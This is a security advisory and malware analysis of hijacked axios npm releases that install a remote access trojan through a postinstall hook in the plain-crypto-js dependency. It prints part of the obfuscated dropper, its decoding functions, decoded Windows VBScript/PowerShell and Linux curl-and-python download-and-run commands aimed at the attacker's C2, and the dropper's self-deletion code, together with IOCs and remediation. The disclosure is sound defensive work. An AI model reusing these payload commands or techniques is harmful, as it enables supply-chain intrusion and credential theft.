Axios Hijacked: Cross-Platform RAT via Maintainer Account Takeover

Published on March 31, 2026

Ossprey detecting malicious plain-crypto-js package

Executive Summary

Two malicious versions of axios (1.14.1, 0.30.4) were published to npm after the primary maintainer’s account was hijacked. The attacker injected a single new dependency, plain-crypto-js@4.2.1, that was never imported anywhere in the axios source. This dependency exists solely to execute a postinstall hook that deploys a cross-platform remote access trojan. The dropper detects the host OS, pulls a platform-specific second-stage payload from a live C2 server, executes it, and then destroys all evidence of itself.

The malicious dependency was staged 18 hours in advance. Separate payloads were pre-built for three operating systems. Both release branches were hit within 39 minutes.

At a Glance

  1. What is unique? The two-layer string obfuscation, domain masquerading (packages[.]npm[.]org), and complete self-deletion after payload delivery.
  2. Who is at risk? Any developer, CI pipeline, or production environment that ran npm install and resolved axios@1.14.1 or axios@0.30.4 during the exposure window.
  3. Was this preventable? Partially. Axios publishes legitimate releases via GitHub Actions with OIDC Trusted Publisher binding. Neither malicious version had corresponding GitHub commits, tags, or releases.



How the Account Was Compromised

The attacker hijacked the npm account of jasonsaayman, the primary axios maintainer. The account’s registered email was changed to ifstap@proton.me, and a long-lived classic npm access token was used to publish directly to the registry, bypassing the project’s normal GitHub Actions-based release workflow.

A second staging account, nrwise (nrwise@proton.me), was used to publish the malicious plain-crypto-js dependency in advance.

Neither compromised axios version has a corresponding GitHub tag, commit, or release.




Timeline

Date (UTC)EventDetail
Mar 30, 06:00Staging dependency publishedplain-crypto-js@4.2.0 published without malicious code, establishing package presence on npm
Mar 30, 23:59Malicious dependency publishedplain-crypto-js@4.2.1 published with RAT dropper postinstall hook
Mar 31, 00:21axios@1.14.1 publishedFirst poisoned axios version published with plain-crypto-js dependency added
Mar 31, 01:00axios@0.30.4 publishedSecond poisoned version hits the legacy 0.x branch, 39 minutes after the first
Mar 31, 03:00GitHub issue filedCommunity reports compromise via axios/axios#10604
Mar 31npm takedownAffected versions removed from npm registry, tokens revoked



Technical Breakdown

Execution Vector

The only code change across both compromised versions is the addition of plain-crypto-js@^4.2.1 to dependencies in package.json. This package is never imported anywhere in the axios source. Its entire purpose is the postinstall lifecycle hook:

Execution flow from npm install through postinstall hook to platform-specific RAT delivery and cleanup

Malware Source Snippet

A snippet of setup.js (4,209 bytes) from plain-crypto-js@4.2.1:

const _trans_1=function(x,r){try{const E=r.split("").map(Number);return x.split("")
.map(((x,r)=>{const S=x.charCodeAt(0),a=E[7*r*r%10];return String.fromCharCode(
S^a^333)})).join("")}catch{}},_trans_2=function(x,r){try{let E=x.split("").reverse()
.join("").replaceAll("_","="),S=Buffer.from(E,"base64").toString("utf8");return
_trans_1(S,r)}catch{}},stq=["_kLx+SMqE7KxlS8vE3LxSScqEHKxjScpE7Kx","__gvELKx",
"__gvEvKx","iWsuF3bx9WctFDbxgSsoE7KxjWspEvKxhSsrE/LxsSsvELaxiW8tF3Lx+ScuEXKx","",
"__wvF7bxkSMpErLx","jSMpErLx4SMrEnKx","_oaxtWcrF3axHWMqEnLxhSMrEvIxqWcoF3bx
tWcoF/axsSsoF3axvWMqFXIx...","_sKxiWcrFjax...","__wrFLIx...","",
"_saxtW8uFvaxzW8vFrax...","jSsoE7LxgS8oFjKxqSMrEbKxpSMrE3Lx",
"_kKxnS8oFjKxqSMrEbKxpSMrE3Lx","_gKxySMqEPax","_wbx5ScvEPax",
"_4LxoS8uEPax"],ord="OrDeR_7077",_entry=function(x){try{
/* ... deobfuscates template vars, detects OS, downloads + executes
   platform-specific payload, then cleans up ... */
}catch{}};_entry("6202033");

String Obfuscation

The dropper uses a custom two-layer encoding scheme to hide all 17 strings in the stq[] array:

Layer 1 (Reversed Base64): The encoded string is reversed, underscores are replaced with = padding, then base64-decoded.

Layer 2 (XOR Cipher): Each character of the result is XORed with a digit from the key OrDeR_7077 (selected via the formula 7*i*i % 10) plus the constant 333.

const _trans_1 = function(x, r) {
  const E = r.split("").map(Number);
  return x.split("").map((x, r) => {
    const S = x.charCodeAt(0), a = E[7 * r * r % 10];
    return String.fromCharCode(S ^ a ^ 333);
  }).join("");
};

const _trans_2 = function(x, r) {
  let E = x.split("").reverse().join("").replaceAll("_", "=");
  let S = Buffer.from(E, "base64").toString("utf8");
  return _trans_1(S, r);
};

The _entry() function also uses a separate obfuscation layer for its own template variables. It applies standard base64 with non-standard padding characters (^, _, -, ), * replacing =) to avoid pattern matching.


Decoded String Table

We decoded the full stq[] array offline by extracting only the string manipulation functions. No malicious code was executed. The complete decoded output:

IndexPurposeDecoded Value
stq[0]Module importchild_process
stq[1]Module importos
stq[2]Module importfs
stq[3]C2 base URLhttp://sfrclak[.]com:8000/
stq[4](unused)(empty string)
stq[5]Platform checkwin32
stq[6]Platform checkdarwin
stq[7]Windows VBScriptSee Windows Payload below
stq[8]Windows exec cmdcscript "LOCAL_PATH" //nologo && del "LOCAL_PATH" /f
stq[9]macOS payloadGarbled (see macOS section below)
stq[10]macOS exec cmd(empty string)
stq[11]Linux payloadSee Linux Payload below
stq[12]Cleanup targetpackage.json
stq[13]Clean decoypackage.md
stq[14]File extension.exe
stq[15]File extension.ps1
stq[16]File extension.vbs

The _entry() function also decodes five template variables inline using base64 with obfuscated padding: LOCAL_PATH, PS_PATH, SCR_LINK, PS_BINARY, and the discovery command where powershell.


C2 Infrastructure and Domain Masquerading

The dropper contacts sfrclak[.]com:8000 to retrieve platform-specific payloads, with the campaign ID 6202033 appended to the path. The download URLs use the domain packages[.]npm[.]org, which is not affiliated with the npm registry. The domain npm.org belongs to the National Association of Pastoral Musicians (since 1997). Platform-specific payload endpoints:

  • Windows: packages[.]npm[.]org/product1
  • Linux: packages[.]npm[.]org/product2

The dropper spoofs a User-Agent string mimicking Internet Explorer 8 on Windows XP: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0).


Windows Payload (stq[7], stq[8])

The most complete code path. The decoded VBScript template:

Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" ""SCR_LINK"" > ""PS_PATH"" & ""PS_BINARY"" -w hidden -ep bypass -file ""PS_PATH"" ""SCR_LINK"" & del ""PS_PATH"" /f", 0, False

At runtime, the template variables are replaced: SCR_LINK becomes the full C2 URL, PS_PATH becomes %TEMP%\6202033.ps1, and PS_BINARY becomes the copied PowerShell binary.

The execution chain:

  1. PowerShell discovery: runs where powershell via execSync to locate the real PowerShell binary
  2. Binary copy: copies PowerShell to %PROGRAMDATA%\wt.ps1 to masquerade as a legitimate application
  3. VBScript dropper: writes the decoded VBScript to %TEMP%\6202033.vbs
  4. Silent execution: the VBScript launches cmd.exe with window style 0 (hidden), which:
    • POSTs to packages[.]npm[.]org/product1 via curl to retrieve the PowerShell payload
    • Pipes the response to %TEMP%\6202033.ps1
    • Executes with -w hidden -ep bypass (hidden window, execution policy bypass)
    • Deletes the .ps1 after execution
  5. VBScript cleanup: executed via cscript "LOCAL_PATH" //nologo && del "LOCAL_PATH" /f, which runs the VBScript then deletes it

macOS Payload (stq[9], stq[10]): Broken

The macOS code path is non-functional in this sample. We can confirm this through two independent indicators in the decoded stq[] array:

1. The script template is garbled. stq[9] decodes to:

nohup osascrnwt "uj -ra'LOCFK_PASO"

This is clearly a corrupted version of what should be an osascript invocation. The command osascrnwt does not exist on macOS and would fail immediately. Notably, neither of the template variables SCR_LINK or LOCAL_PATH appear in the decoded string, meaning the runtime .replaceAll() substitutions in _entry() would be no-ops. The C2 URL and local file path would never be injected.

2. The execution command is empty. stq[10] is an empty string. In the _entry() code, the darwin branch ends with:

n = _trans_2(stq[10], ord);  // n = ""
n = n.replaceAll(E, r);      // still ""

After the for(;;){...break} loop exits, F(n) calls execSync(""), which does nothing. Even if stq[9] had written a valid script to disk, there is no command to execute it.

The result: on macOS, the dropper writes a garbled file to $TMPDIR/6202033, attempts to execute an empty string, silently fails inside the outer try/catch, and proceeds to the cleanup phase. No payload is delivered, no C2 contact is made, and no RAT is installed. The macOS code path was either still under development at time of deployment, or the stq[] array was deliberately truncated for this distribution.

External analysis of the second-stage binary (retrieved from the C2 before it went offline) describes a C++ Mach-O RAT that would have been dropped to /Library/Caches/com.apple.act.mond, beaconing every 60 seconds with support for remote shell execution, binary injection, and directory enumeration. The delivery mechanism to get it onto disk was simply not ready.


Linux Payload (stq[11])

The simplest variant. A single decoded shell command:

curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &

At runtime, SCR_LINK is replaced with the full C2 URL (http://sfrclak[.]com:8000/6202033). The command POSTs to the C2 to download a Python script, saves it to /tmp/ld.py, and executes it as a detached background process via nohup.


Self-Deletion Mechanism

After payload delivery, the dropper erases all evidence of its existence from node_modules/plain-crypto-js/:

// Delete the malicious dropper script
fs.unlink(__filename, (x => {}));
// Remove the package.json containing the postinstall hook
fs.unlink("package.json", (x => {}));     // stq[12]
// Restore clean backup as package.json
fs.rename("package.md", "package.json", (x => {}));  // stq[13] -> stq[12]

Post-cleanup, the node_modules/plain-crypto-js/ directory appears as a normal crypto library with no trace of the malware. This means inspecting node_modules after the fact will not reveal the compromise. You must check for RAT artifacts on disk.


Cascading Compromise

Additional packages were identified carrying the same trojan infrastructure:

  • @shadanai/openclaw (2026.3.31-1, 2026.3.31-2): Vendored plain-crypto-js trojan with identical setup.js and C2 infrastructure
  • @qqbrowser/openclaw-qbot@0.0.130: Shipped tampered axios@1.14.1 in its own node_modules/ with plain-crypto-js injected as a dependency



What Should You Do

  1. Triage and Contain. Audit package-lock.json, yarn.lock, and node_modules across all environments. If axios@1.14.1, axios@0.30.4, or plain-crypto-js is present, treat the environment as compromised. Downgrade to axios@1.14.0 or axios@0.30.3.
  2. Hunt for RAT Artifacts. Check for these files:
    • macOS: /Library/Caches/com.apple.act.mond
    • Windows: %PROGRAMDATA%\wt.exe, %TEMP%\6202033.vbs, %TEMP%\6202033.ps1, MicrosoftUpdate registry Run key
    • Linux: /tmp/ld.py
    • All platforms: $TMPDIR/6202033
  3. Rotate Credentials. Any environment where the affected versions were installed must have credentials rotated, including:
    • npm tokens and registry credentials
    • SSH keys accessible to the developer or CI environment
    • Cloud credentials (AWS/Azure/GCP) present in the environment
    • CI/CD secrets and service account tokens
    • Any API keys or secrets in .env files or environment variables
  4. Block the C2. Firewall sfrclak[.]com and 142.11.206[.]73 immediately. Hunt for outbound connections to port 8000 at this IP. Also block packages[.]npm[.]org (note: this is NOT the legitimate npm registry).
  5. Verify Lockfiles. Confirm your lockfiles do not reference the malicious version ranges. If plain-crypto-js appears anywhere in your dependency tree, investigate immediately.
  6. Strengthen Publishing Controls. Enforce MFA on npm accounts, use scoped short-lived publish tokens, and adopt OIDC Trusted Publisher workflows that tie npm publishing to verified CI/CD pipelines.



Affected Versions

PackageVersion(s)
axios1.14.1, 0.30.4
plain-crypto-js4.2.0, 4.2.1
@shadanai/openclaw2026.3.31-1, 2026.3.31-2
@qqbrowser/openclaw-qbot0.0.130

Downgrade to axios@1.14.0 or axios@0.30.3.




IOCs

  • Affected Packages: axios v1.14.1, v0.30.4; plain-crypto-js v4.2.0, v4.2.1
  • C2 Domain: sfrclak[.]com
  • C2 IP: 142.11.206[.]73
  • C2 Port: 8000
  • C2 Campaign Path: /6202033
  • Fake npm Domain: packages[.]npm[.]org
  • Compromised npm Account: jasonsaayman (email changed to ifstap@proton.me)
  • Staging npm Account: nrwise (nrwise@proton.me)
  • Spoofed User-Agent: mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)

File System Artifacts:

  • macOS: /Library/Caches/com.apple.act.mond
  • Windows: %PROGRAMDATA%\wt.exe, %TEMP%\6202033.vbs, %TEMP%\6202033.ps1
  • Linux: /tmp/ld.py

SHA-256 Hashes

Compromised Packages:

  • axios-1.14.1.tgz - 5bb67e88846096f1f8d42a0f0350c9c46260591567612ff9af46f98d1b7571cd
  • axios-0.30.4.tgz - 59336a964f110c25c112bcc5adca7090296b54ab33fa95c0744b94f8a0d80c0f
  • plain-crypto-js-4.2.1.tgz - 58401c195fe0a6204b42f5f90995ece5fab74ce7c69c67a24c61a057325af668

Second-Stage Payloads:

  • macOS Mach-O binary - 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a
  • Windows PowerShell script - 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101
  • Linux Python script - fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf

npm Package SHASUMs:

  • axios@1.14.1 - 2553649f2322049666871cea80a5d0d6adc700ca
  • axios@0.30.4 - d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71
  • plain-crypto-js@4.2.1 - 07d889e2dadce6f3910dcbc253317d28ca61c766



Advisory References

  • GHSA: GHSA-fw8c-xr5c-95f9
  • MAL: MAL-2026-2306



MITRE ATT&CK

IDTechnique
T1195.001Supply Chain Compromise: Compromise Software Supply Chain
T1059.001Command and Scripting Interpreter: PowerShell
T1059.006Command and Scripting Interpreter: Python
T1059.007Command and Scripting Interpreter: JavaScript
T1027Obfuscated Files or Information
T1036.005Masquerading: Match Legitimate Name or Location
T1547.001Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
T1071.001Application Layer Protocol: Web Protocols
T1082System Information Discovery
T1057Process Discovery
T1140Deobfuscate/Decode Files or Information
T1070.004Indicator Removal: File Deletion



Citations and Acknowledgements